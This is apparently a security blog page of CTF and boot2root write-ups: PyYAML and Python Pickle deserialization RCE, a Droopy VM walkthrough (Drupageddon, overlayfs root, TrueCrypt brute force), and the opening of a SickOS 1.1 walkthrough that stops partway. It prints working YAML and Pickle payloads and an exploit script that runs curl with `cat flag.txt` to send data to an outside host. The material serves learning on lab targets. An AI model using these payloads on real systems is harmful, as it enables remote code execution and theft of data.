Exploiting Python Deserialization Vulnerabilities

Over the weekend, I had a chance to participate in the ToorConCTF (https://twitter.com/toorconctf) which gave me my first experience with serialization flaws in Python. Two of the challenges we solved included Python libraries that appeared to be accepting serialized objects and ended up being vulnerable to Remote Code Execution (RCE). Since I struggled a bit to find reference material online on the subject, I decided to make a blog post documenting my discoveries, exploit code and solutions. In this blog post, I will cover how to exploit deserialization vulnerabilities in the PyYAML (a Python YAML library) and Python Pickle libraries (a Python serialization library). Let’s get started!

Background


Before diving into the challenges, it’s probably important to start with the basics. If you are unfamilliar with deserialization vulnerabilities, the following exert from @breenmachine at Fox Glove Security (https://foxglovesecurity.com) probably explains it the best.

“Unserialize vulnerabilities are a vulnerability class. Most programming languages provide built-in ways for users to output application data to disk or stream it over the network. The process of converting application data to another format (usually binary) suitable for transportation is called serialization. The process of reading data back in after it has been serialized is called unserialization. Vulnerabilities arise when developers write code that accepts serialized data from users and attempt to unserialize it for use in the program. Depending on the language, this can lead to all sorts of consequences, but most interesting, and the one we will talk about here is remote code execution.”

PyYAML Deserialization Remote Code Execution


In the first challenge, we were presented with a URL to a web page which included a YAML document upload form. After Googling for YAML document examples, I crafted the following YAML file and proceeded to upload it to get a feel for the functionality of the form.

HTTP Request


POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 857

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml

---
# A list of global configuration variables
# # Uncomment lines as needed to edit default settings.
# # Note this only works for settings with default values. Some commands like --rerun <module>
# # or --force-ccd n will have to be set in the command line (if you need to)
#
# # This line is really important to set up properly
# project_path: '/home/user'
#
# # The rest of the settings will default to the values set unless you uncomment and change them
# #resize_to: 2048
'test'
-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"


-----------------------------200783363553063815533894329--

HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Sun, 03 Sep 2017 02:50:16 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2213
Set-Cookie: session=; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/

<!-- begin message block -->
<div class="container flashed-messages">
  <div class="row">
    <div class="col-md-12">
      <div class="alert alert-info" role="alert">

        test.yaml is valid YAML
      </div>
    </div>
  </div>
</div>
<!-- end message block -->

    </div>

</div>

  <div class="container main" >
    <div class="row">
        <div class="col-md-12 main">
            
  <code></code>

As you can see, the document was uploaded successfully but only displayed whether the upload was a valid YAML document or not. At this point, I wasn’t sure exactly what I was supposed to do, but after looking more closely at the response, I noticed that the server was running gunicorn/19.7.1…

A quick search for gunicorn revealed that it is a Python web server which lead me to believe the YAML parser was in fact a Python library. From here, I decided to search for Python YAML vulnerabilities and discovered a few blog posts referencing PyYAML deserialization flaws. It was here that I came across the following exploit code for exploiting PyYAML deserialization vulnerabilities. The important thing here is the following code which runs the ‘ls’ command if the application is vulnerable to PyYaml deserialization:


!!map {
  ? !!str "goodbye"
  : !!python/object/apply:subprocess.check_output [
    !!str "ls",
  ],
}

Going blind into the exploitation phase, I decided to give it a try and inject the payload into the document contents being uploaded using Burpsuite…

HTTP Request


POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 445

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml

---
!!map {
  ? !!str "goodbye"
  : !!python/object/apply:subprocess.check_output [
    !!str "ls",
  ],
}

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"


-----------------------------200783363553063815533894329--

<ul><li><code>goodbye</code> : <code>Dockerfile
README.md
app.py
app.pyc
bin
boot
dev
docker-compose.yml
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
requirements.txt
root
run
sbin
srv
static
sys
templates
test.py
tmp
usr
var
</code></li></ul>

As you can see, the payload worked and we now have code execution on the target server! Now, all we need to do is read the flag.txt…

I quickly discovered a limitaton of the above method was strictly limited to single commands (ie. ls, whoami, etc.) which meant there was no way to read the flag using this method. I then discovered that the os.system Python call could also be to achieve RCE and was capable of running multiple commands inline. However, I was quickly disasspointed after trying this and seeing that the result just returned “0” and I could not see my command output. After struggling to find the solution, my teamate @n0j pointed out that the os.system [“command_here” ] only returns a “0” exit code if the command is successful and is blind due to how Python handles sub process execution. It was here that I tried injecting the following command to read the flag: curl https://crowdshield.com/?`cat flag.txt`

HTTP Request


POST / HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 438

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml

---
"goodbye": !!python/object/apply:os.system ["curl https://crowdshield.com/?`cat flag.txt`"]

-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"


-----------------------------200783363553063815533894329--


</div>

  <div class="container main" >
    <div class="row">
        <div class="col-md-12 main">
            
  <ul><li><code>goodbye</code> : <code>0</code></li></ul>
            
        </div>
    </div>
  </div>

After much trial and error, the flag was ours along with 250pts in the CTF!

Remote Apache Logs


34.214.16.74 - - [02/Sep/2017:21:12:11 -0700] "GET /?ItsCaptainCrunchThatsZeldasFavorite HTTP/1.1" 200 1937 "-" "curl/7.38.0"

 

Python Pickle Deserialization


In the next CTF challenge, we were provided a host and port to connect to (ganon.39586ebba722e94b.ctf.land:8000). After initial connection however, no noticable output was displayed so I proceeded to fuzz the open port with random characters and HTTP requests to see what happened. It wasn’t until I tried injecting a single “‘” charecter that I received the error below:


# nc -v ganon.39586ebba722e94b.ctf.land 8000
ec2-34-214-16-74.us-west-2.compute.amazonaws.com [34.214.16.74] 8000 (?) open
cexceptions
AttributeError
p0
(S"Unpickler instance has no attribute 'persistent_load'"
p1
tp2
Rp3
.

The thing that stood out most was the (S”Unpickler instance has no attribute ‘persistent_load'” portion of the output. I immediately searched Google for the error which revealed several references to Python’s serialization library called “Pickle”.

It soon became clear that this was likely another Python deserialization flaw in order to obtain the flag. I then searched Google for “Python Pickle deserialization exploits” and discovered a similar PoC to the code below. After tinkering with the code a bit, I had a working exploit that would send Pickle serialized objects to the target server with the commands of my choice.

Exploit Code


#!/usr/bin/python
# Python Pickle De-serialization Exploit by [email protected] - https://crowdshield.com
#

import os
import cPickle
import socket
import os

# Exploit that we want the target to unpickle
class Exploit(object):
    def __reduce__(self):
        # Note: this will only list files in your directory.
        # It is a proof of concept.
        return (os.system, ('curl https://crowdshield.com/.injectx/rce.txt?`cat flag.txt`',))

def serialize_exploit():
    shellcode = cPickle.dumps(Exploit())
    return shellcode

def insecure_deserialize(exploit_code):
    cPickle.loads(exploit_code)

if __name__ == '__main__':
    shellcode = serialize_exploit()
    print shellcode

    soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    soc.connect(("ganon.39586ebba722e94b.ctf.land", 8000))
    print soc.recv(1024)

    soc.send(shellcode)
    print soc.recv(1024)
    soc.close()
Exploit PoC


# python python_pickle_poc.py
cposix
system
p1
(S"curl https://crowdshield.com/rce.txt?`cat flag.txt`"
p2
tp3
Rp4
.

Much to my surprise, this worked and I could see the contents of the flag in my Apache logs!

Remote Apache Logs


34.214.16.74 - - [03/Sep/2017:11:15:02 -0700] "GET /rce.txt?UsuallyLinkPrefersFrostedFlakes HTTP/1.1" 404 2102 "-" "curl/7.38.0"

Conclusion


So there you have it. Two practicle examples of Python serialization which can be used to obtain Remote Code Execution (RCE) in remote applications. I had a lot of fun competing in the CTF and learned a lot in the process, but due to other obligations time constraints I wasn’t able to put my entire focus into the CTF. In the end, our team “SavageSubmarine” placed 7th overall. Till next time…

-1N3

 

Droopy Boot2Root CTF Solution

Overview

This is a step by step walk through for the Droopy CTF Boot2Root VM which can be downloaded here. Some output has been omitted for brevity, but you get the drift 😉 Enjoy! -1N3 @CrowdShield

Enumeration

As with most pentests, I rely mainly on Sn1per which can be downloaded here to quickly enumerate targets and pinpoint possible exploit vectors…

  • # sniper 192.168.1.66 web report
                ____               
    _________  /  _/___  ___  _____
   / ___/ __ \ / // __ \/ _ \/ ___/
  (__  ) / / // // /_/ /  __/ /    
 /____/_/ /_/___/ .___/\___/_/     
               /_/                 

 + -- --=[http://crowdshield.com
 + -- --=[sn1per v1.7 by 1N3

################################### Running TCP port scan ##########################

Starting Nmap 7.01 ( https://nmap.org ) at 2016-05-11 08:28 MST
Nmap scan report for 192.168.1.66
Host is up (0.00027s latency).
Not shown: 35 closed ports
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:4E:A5:E0 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.66
+ Target Hostname:    192.168.1.66
+ Target Port:        80
+ Start Time:         2016-05-11 08:28:13 (GMT-7)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.5
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-generator' found, with contents: Drupal 7 (http://drupal.org)
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OSVDB-3268: /scripts/: Directory indexing found.
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x60e 0x4fef78de7d280 
+ OSVDB-3268: /includes/: Directory indexing found.
+ Entry '/includes/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /misc/: Directory indexing found.
+ Entry '/misc/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /modules/: Directory indexing found.
+ Entry '/modules/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /profiles/: Directory indexing found.
+ Entry '/profiles/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/scripts/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /themes/: Directory indexing found.
+ Entry '/themes/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALL.mysql.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALL.pgsql.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALL.sqlite.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/install.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/LICENSE.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/MAINTAINERS.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/UPGRADE.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/xmlrpc.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=filter/tips/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/password/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/register/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/login/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 36 entries which should be manually viewed.
+ Multiple index files found: /index.php, /index.html
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ OSVDB-3092: /web.config: ASP config file is accessible.
+ OSVDB-3092: /includes/: This might be interesting...
+ OSVDB-3092: /misc/: This might be interesting...
+ OSVDB-3092: /scripts/: This might be interesting... possibly a system shell found.
+ /info.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3092: /UPGRADE.txt: Default file found.
+ OSVDB-3092: /install.php: Drupal install.php file found.
+ OSVDB-3092: /install.php: install.php file found.
+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.
+ OSVDB-3092: /xmlrpc.php: xmlrpc.php was found.
+ OSVDB-3233: /INSTALL.mysql.txt: Drupal installation file found.
+ OSVDB-3233: /INSTALL.pgsql.txt: Drupal installation file found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /info.php?file=http://cirt.net/rfiinc.txt?: Output from the phpinfo() function was found.
+ OSVDB-5292: /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ OSVDB-3268: /sites/: Directory indexing found.
+ 8384 requests: 0 error(s) and 52 item(s) reported on remote host
+ End Time:           2016-05-11 08:28:36 (GMT-7) (23 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested


        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __  
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.8
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________


[!] [!] The remote website is up, but does not seem to be running WordPress.

[-] Date & Time: 11/05/2016 08:28:42
[-] Target: http://192.168.1.66
[M] Website Not in HTTPS: http://192.168.1.66
[I] Server: Apache/2.4.7 (Ubuntu)
[I] X-Powered-By: PHP/5.5.9-1ubuntu4.5
[L] X-Generator: Drupal 7 (http://drupal.org)
[L] X-Frame-Options: Not Enforced
[I] Strict-Transport-Security: Not Enforced
[I] X-Content-Security-Policy: Not Enforced
[I] X-Content-Type-Options: Not Enforced
[L] Robots.txt Found: http://192.168.1.66/robots.txt
[I] CMS Detection: Drupal
[I] Drupal Version: 7.30
[H] Drupal Vulnerable to SA-CORE-2014-005
[-] Date & Time: 11/05/2016 08:30:00
[-] Completed in: 0:01:18

[-] Date & Time: 11/05/2016 08:30:01
[-] Target: http://192.168.1.66/wordpress

Exploitation

Since we now know the site is vulnerable to SA-CORE-2014-005 (ie. Drupageddon), we can quickly find the exploit using Findsploit which can be downloaded here.

   ___ _           _           _       _ _   
  / __(_)_ __   __| |___ _ __ | | ___ (_) |_ 
 / _\ | | '_ \ / _` / __| '_ \| |/ _ \| | __|
/ /   | | | | | (_| \__ \ |_) | | (_) | | |_ 
\/    |_|_| |_|\__,_|___/ .__/|_|\___/|_|\__|
                        |_|                  

+ -- --=[findsploit v1.3 by 1N3
+ -- --=[https://crowdshield.com

+ -- --=[SEARCHING:  drupal   

+ -- --=[NMAP SCRIPTS

/usr/share/nmap/scripts/http-drupal-enum.nse
/usr/share/nmap/scripts/http-drupal-enum-users.nse

+ -- --=[METASPLOIT EXPLOITS

msf_search/auxiliary:   gather/drupal_openid_xxe                                       2012-10-17       normal  Drupal OpenID External Entity Injection
msf_search/auxiliary:   scanner/http/drupal_views_user_enum                            2010-07-02       normal  Drupal Views Module Users Enumeration
msf_search/exploits:   multi/http/drupal_drupageddon                                  2014-10-15       excellent  Drupal HTTP Parameter Key/Value SQL Injection

+ -- --=[Press any key to search online or Ctrl+C to exit...

Drupageddon Exploit

After, we quickly load up the exploit using Metasploit and fire away for an easy shell…

  • msf exploit(drupal_drupageddon) > set RHOST 192.168.1.66
RHOST => 192.168.1.66
  • msf exploit(drupal_drupageddon) > exploit
[*] 192.168.1.66:80 - Testing page
[*] Started bind handler
[*] 192.168.1.66:80 - Creating new user KJGWAaMEnU:QwWtLlTZxw
[*] 192.168.1.66:80 - Logging in as KJGWAaMEnU:QwWtLlTZxw
[*] 192.168.1.66:80 - Trying to parse enabled modules
[*] 192.168.1.66:80 - Enabling the PHP filter module
[*] 192.168.1.66:80 - Setting permissions for PHP filter module
[*] 192.168.1.66:80 - Getting tokens from create new article page
[*] 192.168.1.66:80 - Calling preview page. Exploit should trigger...
[*] Sending stage (32461 bytes) to 192.168.1.66
[*] Meterpreter session 1 opened (192.168.1.60:58733 -> 192.168.1.66:4444) at 2016-04-29 14:04:18 -0700
  • meterpreter > ls
Listing: /var/www/html
======================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100644/rw-r--r--  89339  fil   2014-12-11 06:11:45 -0700  CHANGELOG.txt
100644/rw-r--r--  1481   fil   2014-12-11 06:11:45 -0700  COPYRIGHT.txt
100644/rw-r--r--  1717   fil   2014-12-11 06:11:45 -0700  INSTALL.mysql.txt
100644/rw-r--r--  1874   fil   2014-12-11 06:11:45 -0700  INSTALL.pgsql.txt
100644/rw-r--r--  1298   fil   2014-12-11 06:11:45 -0700  INSTALL.sqlite.txt
100644/rw-r--r--  17995  fil   2014-12-11 06:11:45 -0700  INSTALL.txt
100664/rw-rw-r--  18092  fil   2014-12-11 06:11:45 -0700  LICENSE.txt
100644/rw-r--r--  8542   fil   2014-12-11 06:11:45 -0700  MAINTAINERS.txt
100644/rw-r--r--  5382   fil   2014-12-11 06:11:45 -0700  README.txt
100644/rw-r--r--  9642   fil   2014-12-11 06:11:45 -0700  UPGRADE.txt
100644/rw-r--r--  6604   fil   2014-12-11 06:11:45 -0700  authorize.php
100644/rw-r--r--  720    fil   2014-12-11 06:11:45 -0700  cron.php
40755/rwxr-xr-x   4096   dir   2014-12-11 06:11:45 -0700  includes
100644/rw-r--r--  11510  fil   2014-12-11 06:11:45 -0700  index.html
100644/rw-r--r--  529    fil   2014-12-11 06:11:45 -0700  index.php
100644/rw-r--r--  20     fil   2014-12-11 06:11:45 -0700  info.php
100644/rw-r--r--  703    fil   2014-12-11 06:11:45 -0700  install.php
40755/rwxr-xr-x   4096   dir   2014-12-11 06:11:45 -0700  misc
40755/rwxr-xr-x   4096   dir   2014-12-11 06:11:45 -0700  modules
40755/rwxr-xr-x   4096   dir   2014-12-11 06:11:45 -0700  profiles
100644/rw-r--r--  1550   fil   2014-12-11 06:11:45 -0700  robots.txt
40755/rwxr-xr-x   4096   dir   2014-12-11 06:11:45 -0700  scripts
40755/rwxr-xr-x   4096   dir   2014-12-11 06:11:45 -0700  sites
40755/rwxr-xr-x   4096   dir   2014-12-11 06:11:45 -0700  themes
100644/rw-r--r--  19986  fil   2014-12-11 06:11:45 -0700  update.php
100644/rw-r--r--  2178   fil   2014-12-11 06:11:45 -0700  web.config
100644/rw-r--r--  417    fil   2014-12-11 06:11:45 -0700  xmlrpc.php
  • meterpreter > shell
Process 1227 created.
Channel 0 created.
exit
meterpreter > 

Privilege Escalation

Now that we’ve gained initial access, the next logical step would be to see if we can escalate our privileges to root… To help speed up the process, I wrote a small shell script to quickly enumerate linux based systems for exploit vectors which can be downloaded here.

  • wget 192.168.1.60/linux-privesc.sh
--2016-04-29 22:21:14--  http://192.168.1.60/linux-privesc.sh
Connecting to 192.168.1.60:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14117 (14K) [text/x-sh]
Saving to: 'linux-privesc.sh'

     0K .......... ...                                        100% 12.8M=0.001s

2016-04-29 22:21:14 (12.8 MB/s) - 'linux-privesc.sh' saved [14117/14117]
  • bash linux*
-[Linux Privilege Escalation Script by 1N3]=--
-[http://treadstonesecurity.blogspot.com]=--

#>01 Whats the distribution type? What version?
#>02 What's the Kernel version? Is it 64-bit?
#>03 What can be learnt from the environmental variables?
#>04 Is there a printer?
#>05 What services are running? Which service has which user
#>06 Which service(s) are been running by root? Of these services, which are vulnerable - its worth a double check!
#>07 What applications are installed? What version are they? Are they currently running?
#>08 Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
#>09 What jobs are scheduled?
#>10 Any plain text usernames and/or passwords?
#>11 What NIC(s) does the system have? Is it connected to another network?
#>12 What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
#>13 Whats cached? IP and/or MAC addresses
#>14 Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
#>15 What sensitive files can be found?
#>16 Anything interesting in the home directorie(s)? If its possible to access
#>17 Are there any passwords in scripts, databases, configuration files or log files? Default paths and locations for passwords
#>18 What has the user being doing? Is there any password in plain text? What have they been edting?
#>19 What user information can be found?
#>20 Can private-key information be found?
#>21 Which configuration files can be written in /etc/? Able to reconfigure a service?
#>22 What can be found in /var/?
#>23 Any settings/files (hidden) on website? Any settings file with database information?
#>24 Is there anything in the log file(s) (Could help with Local File Includes!)
#>25 If commands are limited, you break out of the jail shell?
#>26 How are file-systems mounted?
#>27 Are there any unmounted file-systems?
#>28 Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
#>29 SGID (chmod 2000) - run as the  group, not the user who started it.
#>30 SUID (chmod 4000) - run as the  owner, not the user who started it.
#>31 SGID or SUID
#>32 Where can written to and executed from? A few common places: /tmp, /var/tmp, /dev/shm
#>33 world-writeable folders
#>34 world-writeable & executable folders
#>35 Any problem files? Word-writeable, nobody files
#>36 world-writeable files
#>37 Noowner files
#>38 What development tools/languages are installed/supported?
#>39 How can files be uploaded?

#>01 Whats the distribution type? What version?
#####################################################################
Ubuntu 14.04.1 LTS \n \l

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"
NAME="Ubuntu"
VERSION="14.04.1 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.1 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

#>02 What's the Kernel version? Is it 64-bit?
#####################################################################
Linux version 3.13.0-43-generic ([email protected]) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #72-Ubuntu SMP Mon Dec 8 19:35:06 UTC 2014
Linux droopy 3.13.0-43-generic #72-Ubuntu SMP Mon Dec 8 19:35:06 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
Linux 3.13.0-43-generic x86_64
linux-privesc.sh: line 68: rpm: command not found
[    0.000000] Linux version 3.13.0-43-generic ([email protected]) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #72-Ubuntu SMP Mon Dec 8 19:35:06 UTC 2014 (Ubuntu 3.13.0-43.72-generic 3.13.11.11)
[    0.373742] [Firmware Bug]: ACPI: BIOS _OSI(Linux) query ignored
[    0.947541] Linux agpgart interface v0.103
vmlinuz-3.13.0-43-generic

Finding A Local Root Exploit

Now that we know the OS and kernel version, we can quickly search https://www.kernel-exploits.com/ for a suitable exploit. In this case, the overlayfs exploit should do the trick and can be downloaded here.

  • meterpreter > shell
Process 30295 created.
Channel 0 created.
  • pwd
/tmp
  • ./ofs_64.out
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off
  • # whoami
root

Interesting Email

Now that we’re “root”, we should probably look for that flag. From here I quickly discovered some interesting email under /var/log/mail…

  • # cd /var
  • # ls
backups
cache
lib
local
lock
log
mail
opt
run
spool
tmp
www
  • # cd backups
  • # cd ../mail
  • # ls
www-data
  • # cat www-data
From Dave <[email protected]> Wed Thu 14 Apr 04:34:39 2016
Date: 14 Apr 2016 04:34:39 +0100
From: Dave <[email protected]>
Subject: rockyou with a nice hat!
Message-ID: <[email protected]>
X-IMAP: 0080081351 0000002016l
Status: NN

George,

   I've updated the encrypted file... You didn't leave any
hints for me. The password isn't longer than 11 characters
and anyway, we know what academy we went to, don't you...?

I'm sure you'll figure it out it won't rockyou too much!

If you are still struggling, remember that song by The Jam

Later,
Dave
# 
</[email protected]></[email protected]>

Interesting File

After getting “root” on the box, I quickly discovered the TrueCrypt volume (/root/dave.tc) and transfered it back to my Kali box using netcat to analyze further…

# pwd
/root/
# ls
dave.tc
# nc -lvvp 4444 < dave.tc
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [192.168.1.60] port 4444 [tcp/*] accepted (family 2, sport 54838)
# ls
dave.tc
# 

Brute Forcing TrueCrypt Volumes

Since we know the TrueCrypt volume is encrypted and password protected, we’ll need a program to attempt a dictionary attack with and we’ll use the rockyou.txt wordlist as our dictionary… For this, I chose OTFBrutusGUI which can be downloaded here.

Mounting the TrueCrypt Volume

Now that we have the password for the volume, we should be able to install and mount the volume from our Kali box. NOTE: You’ll need to install truecrypt first for this to work… obviously!

Capturing the Flag

Now that our TrueCrypt volume is mounted, we can quickly navigate the directory structure and have no problems finding our flag.txt hiding in a hidden directory.

################################################################################
#   ___ ___  _  _  ___ ___    _ _____ _   _ _      _ _____ ___ ___  _  _  ___  #
#  / __/ _ \| \| |/ __| _ \  /_\_   _| | | | |    /_\_   _|_ _/ _ \| \| |/ __| #
# | (_| (_) | .` | (_ |   / / _ \| | | |_| | |__ / _ \| |  | | (_) | .` |\__ \ #
#  \___\___/|_|\_|\___|_|_\/_/ \_\_|  \___/|____/_/ \_\_| |___\___/|_|\_||___/ #
#                                                                              #
################################################################################

Firstly, thanks for trying this VM. If you have rooted it, well done!

Shout-outs go to #vulnhub for hosting a great learning tool. A special thanks
goes to barrebas and junken for help in testing and final configuration.
                                                                    --knightmare

 

SickOS 1.1 Solution

Name........: SickOs1.1
Date Release: 11 Dec 2015
Author......: D4rk
Series......: SickOs
Objective...: Get /root/a0216ea4d51874464078c618298b1367.txt
Tester(s)...: h1tch1
Twitter.....: https://twitter.com/D4rk36

DESCRIPTION

This is a quick walk through/solution for SickOS v1.1 which can be downloaded below. Despite there being several write ups for this challenge, I decided to post my own methods of attack and share my mindset going through this challenge in hopes that it may help others.

DOWNLOAD

https://www.vulnhub.com/entry/sickos-11,132/

DISCOVERY

# netdiscover -r 192.168.1.0/24
 Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                                                                                            7 Captured ARP Req/Rep packets, from 7 hosts.   Total size: 402                                                                              _____________________________________________________________________________
   IP            At MAC Address      Count  Len   MAC Vendor                   
 ----------------------------------------------------------------------------- 
 192.168.1.122   00:0c:29:16:91:9d    01    042   VMware, Inc.                                                                                                                                                                         

ENUMERATION

Now that we have the IP address of our new VM, we can start enumerating open ports/services to determine our plan of attack. For this phase, I always rely on “Sn1per” which can be downloaded here: https://github.com/1N3/Sn1per

# ./sniper 192.168.1.0/24
                ____               
    _________  /  _/___  ___  _____
   / ___/ __ \ / // __ \/ _ \/ ___/
  (__  ) / / // // /_/ /  __/ /    
 /____/_/ /_/___/ .___/\___/_/     
               /_/                 

 + -- --=[http://crowdshield.com
 + -- --=[sn1per v1.5 by 1N3

################################### Running recon #################################
Server:		206.248.154.22
Address:	206.248.154.22#53

** server can't find 122.1.168.192.in-addr.arpa: NXDOMAIN

Host 122.1.168.192.in-addr.arpa. not found: 3(NXDOMAIN)

################################### Pinging host ###################################
PING 192.168.1.122 (192.168.1.122) 56(84) bytes of data.

--- 192.168.1.122 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms


################################### Running port scan ##############################

Starting Nmap 7.01 ( https://nmap.org ) at 2016-01-02 12:27 EST
Nmap scan report for 192.168.1.122
Host is up (0.00028s latency).
Not shown: 65532 filtered ports, 1 closed port
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 09:3d:29:a0:da:48:14:c1:65:14:1e:6a:6c:37:04:09 (DSA)
|   2048 84:63:e9:a8:8e:99:33:48:db:f6:d5:81:ab:f2:08:ec (RSA)
|_  256 51:f6:eb:09:f6:b3:e6:91:ae:36:37:0c:c8:ee:34:27 (ECDSA)
3128/tcp open  http-proxy Squid http proxy 3.1.19
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:GET
|_http-server-header: squid/3.1.19
|_http-title: ERROR: The requested URL could not be retrieved
MAC Address: 00:0C:29:16:91:9D (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.0
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.28 ms 192.168.1.122

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.27 seconds

Starting Nmap 7.01 ( https://nmap.org ) at 2016-01-02 12:28 EST
